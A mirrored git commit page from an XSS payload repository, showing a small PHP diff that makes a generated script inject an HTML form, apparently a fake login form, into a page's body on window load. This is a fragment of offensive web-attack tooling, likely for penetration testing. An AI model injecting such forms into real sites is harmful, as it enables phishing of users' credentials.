mirror of
https://github.com/nettitude/xss_payloads.git
synced 2024-11-22 04:03:05 +00:00
Changed to invoke login on window load
This commit is contained in:
parent
d58e3d52d3
commit
fc7d8d828b
1 changed files with 3 additions and 1 deletions
|
@ -52,5 +52,7 @@ $html = "
|
|||
</form>
|
||||
</div>";
|
||||
$html = preg_replace( "/[\n\r]/", "", $html );
|
||||
echo "document.body.innerHTML += \"$html\";";
|
||||
echo "window.onload=function(){\n";
|
||||
echo " document.body.innerHTML += \"$html\";";
|
||||
echo "}\n";
|
||||
?>
|
||||
|
|
Loading…
Reference in a new issue